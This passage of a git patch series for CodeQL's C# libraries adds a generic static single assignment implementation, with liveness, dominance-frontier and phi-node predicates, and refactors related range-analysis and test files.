bb3, i3) and + variableRead(bb3, i3, _, any(ReadKind rk | rk.isPseudo())) and + adjacentDefRead(def, bb3, i3, bb2, i2) + ) + } + + pragma[noinline] + private predicate adjacentDefActualRead( + Definition def, ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 + ) { + adjacentDefReaches(def, bb1, i1, bb2, i2) and + variableRead(bb2, i2, _, ActualRead()) + } + + /** + * Holds if the value defined at SSA definition `def` can reach a read at `cfn`, + * without passing through any other read. + */ + cached + predicate firstReadSameVar(Definition def, ControlFlow::Node cfn) { + exists(ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 | + def.definesAt(_, bb1, i1) and + adjacentDefActualRead(def, bb1, i1, bb2, i2) and + cfn = bb2.getNode(i2) + ) + } + + /** + * Holds if the read at `cfn2` is a read of the same SSA definition `def` + * as the read at `cfn1`, and `cfn2` can be reached from `cfn1` without + * passing through another read. + */ + cached + predicate adjacentReadPairSameVar(Definition def, ControlFlow::Node cfn1, ControlFlow::Node cfn2) { + exists(ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 | + cfn1 = bb1.getNode(i1) and + variableRead(bb1, i1, _, ActualRead()) and + adjacentDefActualRead(def, bb1, i1, bb2, i2) and + cfn2 = bb2.getNode(i2) + ) + } + + private predicate adjacentDefPseudoRead( + Definition def, ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 + ) { + adjacentDefReaches(def, bb1, i1, bb2, i2) and + variableRead(bb2, i2, _, any(ReadKind rk | rk.isPseudo())) + } + + private predicate reachesLastRef(Definition def, ControlFlow::BasicBlock bb, int i) { + lastRef(def, bb, i) + or + exists(ControlFlow::BasicBlock bb0, int i0 | + reachesLastRef(def, bb0, i0) and + variableRead(bb0, i0, _, any(ReadKind rk | rk.isPseudo())) and + adjacentDefPseudoRead(def, bb, i, bb0, i0) + ) + } + + cached + predicate lastReadSameVar(Definition def, ControlFlow::Node cfn) { + exists(ControlFlow::BasicBlock bb, int i | + reachesLastRef(def, bb, i) and + variableRead(bb, i, _, ActualRead()) and + cfn = bb.getNode(i) + ) + } + + cached + predicate isLiveOutRefParameterDefinition(Ssa::Definition def, Parameter p) { + p.isOutOrRef() and + exists(Ssa::Definition def0, ControlFlow::BasicBlock bb, int i | + def = def0.getAnUltimateDefinition() and + reachesLastRef(def0, bb, i) and + variableRead(bb, i, def0.getSourceVariable(), OutRefExitRead()) and + p = def0.getSourceVariable().getAssignable() + ) + } +} + +import Cached diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll new file mode 100644 index 00000000000..860d3b51dfe --- /dev/null +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll @@ -0,0 +1,561 @@ +/** + * Provides a language-independant implementation of static single assignment + * (SSA) form. + */ + +private import SsaImplSpecific + +cached +private module Cached { + /** + * Liveness analysis (based on source variables) to restrict the size of the + * SSA representation. + */ + private module Liveness { + /** + * A classification of variable references into reads (of a given kind) and + * (certain or uncertain) writes. + */ + private newtype TRefKind = + Read(ReadKind rk) or + Write(boolean certain) { certain = true or certain = false } + + private class RefKind extends TRefKind { + string toString() { + exists(ReadKind rk | this = Read(rk) and result = "read (" + rk + ")") + or + exists(boolean certain | this = Write(certain) and result = "write (" + certain + ")") + } + + int getOrder() { + this = Read(_) and + result = 0 + or + this = Write(_) and + result = 1 + } + } + + /** + * Holds if the `i`th node of basic block `bb` is a reference to `v` of kind `k`. + */ + private predicate ref(BasicBlock bb, int i, SourceVariable v, RefKind k) { + exists(ReadKind rk | variableRead(bb, i, v, rk) | k = Read(rk)) + or + exists(boolean certain | variableWrite(bb, i, v, certain) | k = Write(certain)) + } + + private newtype OrderedRefIndex = + MkOrderedRefIndex(int i, int tag) { + exists(RefKind rk | ref(_, i, _, rk) | tag = rk.getOrder()) + } + + private OrderedRefIndex refOrd(BasicBlock bb, int i, SourceVariable v, RefKind k, int ord) { + ref(bb, i, v, k) and + result = MkOrderedRefIndex(i, ord) and + ord = k.getOrder() + } + + /** + * Gets the (1-based) rank of the reference to `v` at the `i`th node of + * basic block `bb`, which has the given reference kind `k`. + * + * Reads are considered before writes when they happen at the same index. + */ + private int refRank(BasicBlock bb, int i, SourceVariable v, RefKind k) { + refOrd(bb, i, v, k, _) = + rank[result](int j, int ord, OrderedRefIndex res | + res = refOrd(bb, j, v, _, ord) + | + res order by j, ord + ) + } + + private int maxRefRank(BasicBlock bb, SourceVariable v) { + result = refRank(bb, _, v, _) and + not result + 1 = refRank(bb, _, v, _) + } + + /** + * Gets the (1-based) rank of the first reference to `v` inside basic block `bb` + * that is either a read or a certain write. + */ + private int firstReadOrCertainWrite(BasicBlock bb, SourceVariable v) { + result = + min(int r, RefKind k | + r = refRank(bb, _, v, k) and + k != Write(false) + | + r + ) + } + + /** + * Holds if source variable `v` is live at the beginning of basic block `bb`. + * The read that witnesses the liveness of `v` is of kind `rk`. + */ + predicate liveAtEntry(BasicBlock bb, SourceVariable v, ReadKind rk) { + // The first read or certain write to `v` inside `bb` is a read + refRank(bb, _, v, Read(rk)) = firstReadOrCertainWrite(bb, v) + or + // There is no certain write to `v` inside `bb`, but `v` is live at entry + // to a successor basic block of `bb` + not exists(firstReadOrCertainWrite(bb, v)) and + liveAtExit(bb, v, rk) + } + + /** + * Holds if source variable `v` is live at the end of basic block `bb`. + * The read that witnesses the liveness of `v` is of kind `rk`. + */ + predicate liveAtExit(BasicBlock bb, SourceVariable v, ReadKind rk) { + liveAtEntry(bb.getASuccessor(), v, rk) + } + + /** + * Holds if variable `v` is live in basic block `bb` at index `i`. + * The rank of `i` is `rnk` as defined by `refRank()`. + */ + private predicate liveAtRank(BasicBlock bb, int i, SourceVariable v, int rnk, ReadKind rk) { + exists(RefKind kind | rnk = refRank(bb, i, v, kind) | + rnk = maxRefRank(bb, v) and + liveAtExit(bb, v, rk) + or + ref(bb, i, v, kind) and + kind = Read(rk) + or + exists(RefKind nextKind | + liveAtRank(bb, _, v, rnk + 1, rk) and + rnk + 1 = refRank(bb, _, v, nextKind) and + nextKind != Write(true) + ) + ) + } + + /** + * Holds if variable `v` is live after the (certain or uncertain) write at + * index `i` inside basic block `bb`. The read that witnesses the liveness of + * `v` is of kind `rk`. + */ + predicate liveAfterWrite(BasicBlock bb, int i, SourceVariable v, ReadKind rk) { + exists(int rnk | rnk = refRank(bb, i, v, Write(_)) | liveAtRank(bb, i, v, rnk, rk)) + } + } + + private import Liveness + + /** + * Holds if `bb` is in the dominance frontier of a block containing a + * definition of `v`. + */ + pragma[noinline] + private predicate inDefDominanceFrontier(BasicBlock bb, SourceVariable v) { + exists(BasicBlock defbb, Definition def | + def.definesAt(v, defbb, _) and + defbb.inDominanceFrontier(bb) + ) + } + + cached + newtype TDefinition = + TWriteDef(SourceVariable v, BasicBlock bb, int i) { + variableWrite(bb, i, v, _) and + liveAfterWrite(bb, i, v, _) + } or + TPhiNode(SourceVariable v, BasicBlock bb) { + inDefDominanceFrontier(bb, v) and + liveAtEntry(bb, v, _) + } + + private module SsaDefReaches { + newtype TSsaRefKind = + SsaRead() or + SsaDef() + + /** + * A classification of SSA variable references into reads and definitions. + */ + class SsaRefKind extends TSsaRefKind { + string toString() { + this = SsaRead() and + result = "SsaRead" + or + this = SsaDef() and + result = "SsaDef" + } + + int getOrder() { + this = SsaRead() and + result = 0 + or + this = SsaDef() and + result = 1 + } + } + + /** + * Holds if the `i`th node of basic block `bb` is a reference to `v`, + * either a read (when `k` is `SsaRead()`) or an SSA definition (when `k` + * is `SsaDef()`). + * + * Unlike `Liveness::ref`, this includes `phi` nodes. + */ + predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { + variableRead(bb, i, v, _) and + k = SsaRead() + or + exists(Definition def | def.definesAt(v, bb, i)) and + k = SsaDef() + } + + private newtype OrderedSsaRefIndex = + MkOrderedSsaRefIndex(int i, SsaRefKind k) { ssaRef(_, i, _, k) } + + private OrderedSsaRefIndex ssaRefOrd( + BasicBlock bb, int i, SourceVariable v, SsaRefKind k, int ord + ) { + ssaRef(bb, i, v, k) and + result = MkOrderedSsaRefIndex(i, k) and + ord = k.getOrder() + } + + /** + * Gets the (1-based) rank of the reference to `v` at the `i`th node of basic + * block `bb`, which has the given reference kind `k`. + * + * For example, if `bb` is a basic block with a phi node for `v` (considered + * to be at index -1), reads `v` at node 2, and defines it at node 5, we have: + * + * ```ql + * ssaRefRank(bb, -1, v, SsaDef()) = 1 // phi node + * ssaRefRank(bb, 2, v, Read()) = 2 // read at node 2 + * ssaRefRank(bb, 5, v, SsaDef()) = 3 // definition at node 5 + * ``` + * + * Reads are considered before writes when they happen at the same index. + */ + int ssaRefRank(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { + ssaRefOrd(bb, i, v, k, _) = + rank[result](int j, int ord, OrderedSsaRefIndex res | + res = ssaRefOrd(bb, j, v, _, ord) + | + res order by j, ord + ) + } + + int maxSsaRefRank(BasicBlock bb, SourceVariable v) { + result = ssaRefRank(bb, _, v, _) and + not result + 1 = ssaRefRank(bb, _, v, _) + } + + /** + * Holds if the SSA definition `def` reaches rank index `rnk` in its own + * basic block `bb`. + */ + predicate ssaDefReachesRank(BasicBlock bb, Definition def, int rnk, SourceVariable v) { + exists(int i | + rnk = ssaRefRank(bb, i, v, SsaDef()) and + def.definesAt(v, bb, i) + ) + or + ssaDefReachesRank(bb, def, rnk - 1, v) and + rnk = ssaRefRank(bb, _, v, SsaRead()) + } + + /** + * Holds if the SSA definition of `v` at `def` reaches index `i` in the same + * basic block `bb`, without crossing another SSA definition of `v`. + * + * The read at `i` is of kind `rk`. + */ + predicate ssaDefReachesReadWithinBlock( + SourceVariable v, Definition def, BasicBlock bb, int i, ReadKind rk + ) { + exists(int rnk | + ssaDefReachesRank(bb, def, rnk, v) and + rnk = ssaRefRank(bb, i, v, SsaRead()) and + variableRead(bb, i, v, rk) + ) + } + + /** + * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition + * `redef` in the same basic block, without crossing another SSA definition of `v`. + */ + predicate ssaDefReachesUncertainDefWithinBlock( + SourceVariable v, Definition def, UncertainWriteDefinition redef + ) { + exists(BasicBlock bb, int rnk, int i | + ssaDefReachesRank(bb, def, rnk, v) and + rnk = ssaRefRank(bb, i, v, SsaDef()) - 1 and + redef.definesAt(v, bb, i) + ) + } + + /** + * Same as `ssaRefRank()`, but restricted to a particular SSA definition `def`. + */ + int ssaDefRank(Definition def, SourceVariable v, BasicBlock bb, int i, SsaRefKind k) { + v = def.getSourceVariable() and + result = ssaRefRank(bb, i, v, k) and + ( + ssaDefReachesRead(_, def, bb, i, _) + or + def.definesAt(_, bb, i) + ) + } + + predicate defOccursInBlock(Definition def, BasicBlock bb, SourceVariable v) { + exists(ssaDefRank(def, v, bb, _, _)) + } + + pragma[noinline] + private BasicBlock getAMaybeLiveSuccessor(Definition def, BasicBlock bb) { + result = bb.getASuccessor() and + not defOccursInBlock(_, bb, def.getSourceVariable()) and + ssaDefReachesEndOfBlock(bb, def, _) + } + + /** + * Holds if `def` is accessed in basic block `bb1` (either a read or a write), + * `bb2` is a transitive successor of `bb1`, `def` is live at the end of `bb1`, + * and the underlying variable for `def` is neither read nor written in any block + * on the path between `bb1` and `bb2`. + */ + predicate varBlockReaches(Definition def, BasicBlock bb1, BasicBlock bb2) { + defOccursInBlock(def, bb1, _) and + bb2 = bb1.getASuccessor() + or + exists(BasicBlock mid | varBlockReaches(def, bb1, mid) | + bb2 = getAMaybeLiveSuccessor(def, mid) + ) + } + + /** + * Holds if `def` is accessed in basic block `bb1` (either a read or a write), + * `def` is read at index `i2` in basic block `bb2`, `bb2` is in a transitive + * successor block of `bb1`, and `def` is neither read nor written in any block + * on a path between `bb1` and `bb2`. + */ + predicate defAdjacentRead(Definition def, BasicBlock bb1, BasicBlock bb2, int i2) { + varBlockReaches(def, bb1, bb2) and + ssaRefRank(bb2, i2, def.getSourceVariable(), SsaRead()) = 1 and + variableRead(bb2, i2, _, _) + } + } + + private import SsaDefReaches + + pragma[noinline] + private predicate ssaDefReachesEndOfBlockRec(BasicBlock bb, Definition def, SourceVariable v) { + exists(BasicBlock idom | ssaDefReachesEndOfBlock(idom, def, v) | + // The construction of SSA form ensures that each read of a variable is + // dominated by its definition. An SSA definition therefore reaches a + // control flow node if it is the _closest_ SSA definition that dominates + // the node. If two definitions dominate a node then one must dominate the + // other, so therefore the definition of _closest_ is given by the dominator + // tree. Thus, reaching definitions can be calculated in terms of dominance. + idom = getImmediateDominator(bb) + ) + } + + /** + * Holds if the SSA definition of `v` at `def` reaches the end of basic + * block `bb`, at which point it is still live, without crossing another + * SSA definition of `v`. + */ + cached + predicate ssaDefReachesEndOfBlock(BasicBlock bb, Definition def, SourceVariable v) { + exists(int last | last = maxSsaRefRank(bb, v) | + ssaDefReachesRank(bb, def, last, v) and + liveAtExit(bb, v, _) + ) + or + ssaDefReachesEndOfBlockRec(bb, def, v) and + liveAtExit(bb, v, _) and + not ssaRef(bb, _, v, SsaDef()) + } + + /** + * Holds if the SSA definition of `v` at `def` reaches a read at index `i` in + * basic block `bb`, without crossing another SSA definition of `v`. The read + * is of kind `rk`. + */ + cached + predicate ssaDefReachesRead(SourceVariable v, Definition def, BasicBlock bb, int i, ReadKind rk) { + ssaDefReachesReadWithinBlock(v, def, bb, i, rk) + or + variableRead(bb, i, v, rk) and + ssaDefReachesEndOfBlock(bb.getAPredecessor(), def, v) and + not ssaDefReachesReadWithinBlock(v, _, bb, i, _) + } + + /** + * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition + * `redef` without crossing another SSA definition of `v`. + */ + cached + predicate ssaDefReachesUncertainDef( + SourceVariable v, Definition def, UncertainWriteDefinition redef + ) { + ssaDefReachesUncertainDefWithinBlock(v, def, redef) + or + exists(BasicBlock bb | + redef.definesAt(v, bb, _) and + ssaDefReachesEndOfBlock(bb.getAPredecessor(), def, v) and + not ssaDefReachesUncertainDefWithinBlock(v, _, redef) + ) + } + + /** + * Holds if `def` is accessed at index `i1` in basic block `bb1` (either a read + * or a write), `def` is read at index `i2` in basic block `bb2`, and there is a + * path between them without any read of `def`. + */ + cached + predicate adjacentDefRead(Definition def, BasicBlock bb1, int i1, BasicBlock bb2, int i2) { + exists(int rnk | + rnk = ssaDefRank(def, _, bb1, i1, _) and + rnk + 1 = ssaDefRank(def, _, bb1, i2, SsaRead()) and + variableRead(bb1, i2, _, _) and + bb2 = bb1 + ) + or + exists(SourceVariable v | ssaDefRank(def, v, bb1, i1, _) = maxSsaRefRank(bb1, v)) and + defAdjacentRead(def, bb1, bb2, i2) + } + + /** + * Holds if the node at index `i` in `bb` is a last reference to SSA + * definition `def`. + * + * That is, the node can reach the end of the enclosing callable, or another + * SSA definition for the underlying source variable, without passing through + * another read. + */ + cached + predicate lastRef(Definition def, BasicBlock bb, int i) { + exists(int rnk, SourceVariable v | rnk = ssaDefRank(def, v, bb, i, _) | + // Next reference to `v` inside `bb` is a write + rnk + 1 = ssaRefRank(bb, _, v, SsaDef()) + or + // No more references to `v` inside `bb` + rnk = maxSsaRefRank(bb, v) and + ( + // Can reach exit directly + bb instanceof ExitBasicBlock + or + exists(BasicBlock bb2 | varBlockReaches(def, bb, bb2) | + // Can reach a write using one or more steps + 1 = ssaRefRank(bb2, _, def.getSourceVariable(), SsaDef()) + or + // Can reach a block using one or more steps, where `def` is no longer live + not defOccursInBlock(def, bb2, _) and + not ssaDefReachesEndOfBlock(bb2, def, _) + ) + ) + ) + } +} + +import Cached + +/** A static single assignment (SSA) definition. */ +class Definition extends TDefinition { + /** Gets the source variable underlying this SSA definition. */ + SourceVariable getSourceVariable() { this.definesAt(result, _, _) } + + /** + * Holds is this SSA definition is live at the end of basic block `bb`. + * That is, this definition reaches the end of basic block `bb`, at which + * point it is still live, without crossing another SSA definition of the + * same source variable. + */ + final predicate isLiveAtEndOfBlock(BasicBlock bb) { ssaDefReachesEndOfBlock(bb, this, _) } + + /** + * Holds if this SSA definition defines `v` at index `i` in basic block `bb`. + * Phi nodes are considered to be at index `-1`, while normal variable writes + * are at the index of the control flow node they wrap. + */ + final predicate definesAt(SourceVariable v, BasicBlock bb, int i) { + this = TWriteDef(v, bb, i) + or + this = TPhiNode(v, bb) and i = -1 + } + + /** Gets the basic block to which this SSA definition belongs. */ + final BasicBlock getBasicBlock() { this.definesAt(_, result, _) } + + /** + * Gets an SSA definition whose value can flow to this one in one step. This + * includes inputs to phi nodes and the prior definitions of uncertain writes. + */ + private Definition getAPseudoInputOrPriorDefinition() { + result = this.(PhiNode).getAnInput() or + result = this.(UncertainWriteDefinition).getPriorDefinition() + } + + /** + * Gets a definition that ultimately defines this SSA definition and is + * not itself a phi node. + */ + Definition getAnUltimateDefinition() { + result = this.getAPseudoInputOrPriorDefinition*() and + not result instanceof PhiNode + } + + /** Gets a textual representation of this SSA definition. */ + string toString() { none() } +} + +/** An SSA definition that corresponds to a write. */ +class WriteDefinition extends Definition, TWriteDef { + private SourceVariable v; + private BasicBlock bb; + private int i; + + WriteDefinition() { this = TWriteDef(v, bb, i) } + + override string toString() { result = "WriteDef" } +} + +/** A phi node. */ +class PhiNode extends Definition, TPhiNode { + /** Gets an input of this phi node. */ + Definition getAnInput() { + exists(BasicBlock bb, BasicBlock pred, SourceVariable v | + this.definesAt(v, bb, _) and + bb.getAPredecessor() = pred and + ssaDefReachesEndOfBlock(pred, result, v) + ) + } + + /** Holds if `inp` is an input to the phi node along the edge originating in `bb`. */ + predicate hasInputFromBlock(Definition inp, BasicBlock bb) { + inp = this.getAnInput() and + this.getBasicBlock().getAPredecessor() = bb and + ssaDefReachesEndOfBlock(bb, inp, _) + } + + override string toString() { result = "Phi" } +} + +/** + * An SSA definition that represents an uncertain update of the underlying + * source variable. + */ +class UncertainWriteDefinition extends WriteDefinition { + UncertainWriteDefinition() { + exists(SourceVariable v, BasicBlock bb, int i | + this.definesAt(v, bb, i) and + variableWrite(bb, i, v, false) + ) + } + + /** + * Gets the immediately preceding definition. Since this update is uncertain, + * the value from the preceding definition might still be valid. + */ + Definition getPriorDefinition() { ssaDefReachesUncertainDef(_, result, this) } +} diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll new file mode 100644 index 00000000000..cf42efd3e0c --- /dev/null +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll @@ -0,0 +1,19 @@ +/** Provides the C# specific parameters for `SsaImplCommon.qll`. */ + +private import csharp +private import AssignableDefinitions +private import SsaImpl as SsaImpl + +class BasicBlock = ControlFlow::BasicBlock; + +BasicBlock getImmediateDominator(BasicBlock bb) { result = bb.getImmediateDominator() } + +class ExitBasicBlock = ControlFlow::BasicBlocks::ExitBlock; + +class ReadKind = SsaImpl::ReadKind; + +class SourceVariable = SsaImpl::TSourceVariable; + +predicate variableWrite = SsaImpl::variableWrite/4; + +predicate variableRead = SsaImpl::variableRead/4; diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll index d3f616c6609..f71b0d0ffcd 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll @@ -6,7 +6,7 @@ module Private { private import SsaReadPositionCommon private import semmle.code.csharp.controlflow.internal.ControlFlowGraphImpl as CfgImpl - class BasicBlock = CS::Ssa::BasicBlock; + class BasicBlock = CS::ControlFlow::BasicBlock; class SsaVariable = SU::SsaVariable; diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/RangeUtils.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/RangeUtils.qll index dcd0d9b1ec3..4d765f769ad 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/RangeUtils.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/RangeUtils.qll @@ -95,7 +95,7 @@ private module Impl { /** * Holds if basic block `bb` is guarded by this guard having value `v`. */ - predicate controlsBasicBlock(BasicBlock bb, G::AbstractValue v) { + predicate controlsBasicBlock(ControlFlow::BasicBlock bb, G::AbstractValue v) { this.(G::Guard).controlsBasicBlock(bb, v) } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll index d7df9781b2a..7afd9a2a33d 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll @@ -8,7 +8,7 @@ class SsaVariable = Ssa::Definition; class SsaPhiNode = Ssa::PhiNode; -class BasicBlock = Ssa::BasicBlock; +class BasicBlock = ControlFlow::BasicBlock; /** Gets a basic block in which SSA variable `v` is read. */ BasicBlock getAReadBasicBlock(SsaVariable v) { diff --git a/csharp/ql/test/library-tests/dataflow/defuse/useUseEquivalence.ql b/csharp/ql/test/library-tests/dataflow/defuse/useUseEquivalence.ql index 4dbc77e922e..e09c3d15caa 100644 --- a/csharp/ql/test/library-tests/dataflow/defuse/useUseEquivalence.ql +++ b/csharp/ql/test/library-tests/dataflow/defuse/useUseEquivalence.ql @@ -28,20 +28,20 @@ private TLocalScopeVariableReadOrSsaDef getANextReadOrDef(TLocalScopeVariableRea or not exists(read.getANextRead()) and exists( - Ssa::Definition ssaDef, Ssa::PseudoDefinition pseudoDef, ControlFlow::Node cfn, - ControlFlow::BasicBlock bb, int i + Ssa::Definition ssaDef, Ssa::PhiNode phi, ControlFlow::Node cfn, ControlFlow::BasicBlock bb, + int i | ssaDef.getARead() = read | - pseudoDef.getAnInput() = ssaDef and - pseudoDef.definesAt(_, bb, i) and + phi.getAnInput() = ssaDef and + phi.definesAt(_, bb, i) and cfn = read.getAReachableElement().getAControlFlowNode() and ( cfn = bb.getNode(i) or cfn = bb.getFirstNode() and i < 0 ) and - result = TSsaDefinition(pseudoDef) + result = TSsaDefinition(phi) ) ) or @@ -49,9 +49,9 @@ private TLocalScopeVariableReadOrSsaDef getANextReadOrDef(TLocalScopeVariableRea result = TLocalScopeVariableRead(ssaDef.getAFirstRead()) or not exists(ssaDef.getAFirstRead()) and - exists(Ssa::PseudoDefinition pseudoDef | - pseudoDef.getAnInput() = ssaDef and - result = TSsaDefinition(pseudoDef) + exists(Ssa::PhiNode phi | + phi.getAnInput() = ssaDef and + result = TSsaDefinition(phi) ) ) } diff --git a/csharp/ql/test/library-tests/dataflow/ssa/PreSsaConsistency.ql b/csharp/ql/test/library-tests/dataflow/ssa/PreSsaConsistency.ql index ab31244d07b..9345525f486 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/PreSsaConsistency.ql +++ b/csharp/ql/test/library-tests/dataflow/ssa/PreSsaConsistency.ql @@ -1,6 +1,7 @@ import csharp import semmle.code.csharp.controlflow.internal.PreSsa as PreSsa import semmle.code.csharp.controlflow.internal.ControlFlowGraphImpl +import semmle.code.csharp.dataflow.internal.SsaImpl as SsaImpl class CallableWithSplitting extends Callable { CallableWithSplitting() { this = any(SplitControlFlowElement e).getEnclosingCallable() } @@ -46,13 +47,11 @@ query predicate readReadInconsistency( b = true and a = read1.getTarget() and PreSsa::adjacentReadPairSameVar(read1, read2) and - not Ssa::Internal::adjacentReadPairSameVar(_, read1.getAControlFlowNode(), - read2.getAControlFlowNode()) + not SsaImpl::adjacentReadPairSameVar(_, read1.getAControlFlowNode(), read2.getAControlFlowNode()) or b = false and a = read1.getTarget() and - Ssa::Internal::adjacentReadPairSameVar(_, read1.getAControlFlowNode(), - read2.getAControlFlowNode()) and + SsaImpl::adjacentReadPairSameVar(_, read1.getAControlFlowNode(), read2.getAControlFlowNode()) and read1.getTarget() instanceof PreSsa::SimpleAssignable and not PreSsa::adjacentReadPairSameVar(read1, read2) and // Exclude split CFG elements because SSA may be more precise than pre-SSA From 0674881ffd6be31f75b5a3817a74b45703e1eb7f Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 19 Jan 2021 09:51:01 +0100 Subject: [PATCH 0690/1241] C#: Do not rely on `BasicBlock` member predicates from `SsaImplSpecific` --- .../dataflow/internal/SsaImplCommon.qll | 40 ++++++++++++++----- .../dataflow/internal/SsaImplSpecific.qll | 4 +- 2 files changed, 34 insertions(+), 10 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll index 860d3b51dfe..f1ffd7ff489 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll @@ -5,6 +5,8 @@ private import SsaImplSpecific +private BasicBlock getABasicBlockPredecessor(BasicBlock bb) { getABasicBlockSuccessor(result) = bb } + cached private module Cached { /** @@ -109,7 +111,7 @@ private module Cached { * The read that witnesses the liveness of `v` is of kind `rk`. */ predicate liveAtExit(BasicBlock bb, SourceVariable v, ReadKind rk) { - liveAtEntry(bb.getASuccessor(), v, rk) + liveAtEntry(getABasicBlockSuccessor(bb), v, rk) } /** @@ -144,6 +146,26 @@ private module Cached { private import Liveness + /** Holds if `bb1` strictly dominates `bb2`. */ + private predicate strictlyDominates(BasicBlock bb1, BasicBlock bb2) { + bb1 = getImmediateBasicBlockDominator+(bb2) + } + + /** Holds if `bb1` dominates a predecessor of `bb2`. */ + private predicate dominatesPredecessor(BasicBlock bb1, BasicBlock bb2) { + exists(BasicBlock pred | pred = getABasicBlockPredecessor(bb2) | + bb1 = pred + or + strictlyDominates(bb1, pred) + ) + } + + /** Holds if `df` is in the dominance frontier of `bb`. */ + private predicate inDominanceFrontier(BasicBlock bb, BasicBlock df) { + dominatesPredecessor(bb, df) and + not strictlyDominates(bb, df) + } + /** * Holds if `bb` is in the dominance frontier of a block containing a * definition of `v`. @@ -152,7 +174,7 @@ private module Cached { private predicate inDefDominanceFrontier(BasicBlock bb, SourceVariable v) { exists(BasicBlock defbb, Definition def | def.definesAt(v, defbb, _) and - defbb.inDominanceFrontier(bb) + inDominanceFrontier(defbb, bb) ) } @@ -311,7 +333,7 @@ private module Cached { pragma[noinline] private BasicBlock getAMaybeLiveSuccessor(Definition def, BasicBlock bb) { - result = bb.getASuccessor() and + result = getABasicBlockSuccessor(bb) and not defOccursInBlock(_, bb, def.getSourceVariable()) and ssaDefReachesEndOfBlock(bb, def, _) } @@ -324,7 +346,7 @@ private module Cached { */ predicate varBlockReaches(Definition def, BasicBlock bb1, BasicBlock bb2) { defOccursInBlock(def, bb1, _) and - bb2 = bb1.getASuccessor() + bb2 = getABasicBlockSuccessor(bb1) or exists(BasicBlock mid | varBlockReaches(def, bb1, mid) | bb2 = getAMaybeLiveSuccessor(def, mid) @@ -355,7 +377,7 @@ private module Cached { // the node. If two definitions dominate a node then one must dominate the // other, so therefore the definition of _closest_ is given by the dominator // tree. Thus, reaching definitions can be calculated in terms of dominance. - idom = getImmediateDominator(bb) + idom = getImmediateBasicBlockDominator(bb) ) } @@ -386,7 +408,7 @@ private module Cached { ssaDefReachesReadWithinBlock(v, def, bb, i, rk) or variableRead(bb, i, v, rk) and - ssaDefReachesEndOfBlock(bb.getAPredecessor(), def, v) and + ssaDefReachesEndOfBlock(getABasicBlockPredecessor(bb), def, v) and not ssaDefReachesReadWithinBlock(v, _, bb, i, _) } @@ -402,7 +424,7 @@ private module Cached { or exists(BasicBlock bb | redef.definesAt(v, bb, _) and - ssaDefReachesEndOfBlock(bb.getAPredecessor(), def, v) and + ssaDefReachesEndOfBlock(getABasicBlockPredecessor(bb), def, v) and not ssaDefReachesUncertainDefWithinBlock(v, _, redef) ) } @@ -526,7 +548,7 @@ class PhiNode extends Definition, TPhiNode { Definition getAnInput() { exists(BasicBlock bb, BasicBlock pred, SourceVariable v | this.definesAt(v, bb, _) and - bb.getAPredecessor() = pred and + getABasicBlockPredecessor(bb) = pred and ssaDefReachesEndOfBlock(pred, result, v) ) } @@ -534,7 +556,7 @@ class PhiNode extends Definition, TPhiNode { /** Holds if `inp` is an input to the phi node along the edge originating in `bb`. */ predicate hasInputFromBlock(Definition inp, BasicBlock bb) { inp = this.getAnInput() and - this.getBasicBlock().getAPredecessor() = bb and + getABasicBlockPredecessor(this.getBasicBlock()) = bb and ssaDefReachesEndOfBlock(bb, inp, _) } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll index cf42efd3e0c..e71b469368a 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll @@ -6,7 +6,9 @@ private import SsaImpl as SsaImpl class BasicBlock = ControlFlow::BasicBlock; -BasicBlock getImmediateDominator(BasicBlock bb) { result = bb.getImmediateDominator() } +BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { result = bb.getImmediateDominator() } + +BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result 